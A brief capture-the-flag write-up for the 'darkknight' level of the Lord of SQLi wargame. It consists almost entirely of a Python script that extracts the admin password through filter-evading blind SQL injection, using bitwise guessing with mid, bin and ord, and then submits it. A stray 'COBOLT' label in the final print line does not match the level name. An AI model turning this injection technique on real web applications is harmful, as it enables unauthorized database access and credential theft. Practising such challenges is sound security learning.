LOS :: 12번 DARKKNIGHT

WRITE UP

import requests
 
url = "http://los.rubiya.kr/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
session = {'PHPSESSID':'MY_SESSION'}
data = {}
 
flag=""
 
print("[∞] flag : ",end='')
 
for i in range(1,9):
   char=""
   for j in range(1,9):
      data['no']="1||id like 0x61646d696e and mid(bin(ord(mid(pw,"+str(i)+",1))),"+str(j)+",1) like 0"
      r1 = requests.get(url, params=data, cookies=session)
      data['no']="1||id like 0x61646d696e and mid(bin(ord(mid(pw,"+str(i)+",1))),"+str(j)+",1) like 1"
      r2 = requests.get(url, params=data, cookies=session)
      if "Hello admin" in r1.text:
         char= char+"0"
      elif "Hello admin" in r2.text:
         char= char+"1"
      else:
         break
 
   char= chr(int(char,2))
   print(char,end='')
   flag = flag + char
 
data['pw']=flag
res = requests.get(url, params=data, cookies=session)
 
if "Clear!" in res.text:
   print("\n[♪] COBOLT Clear!")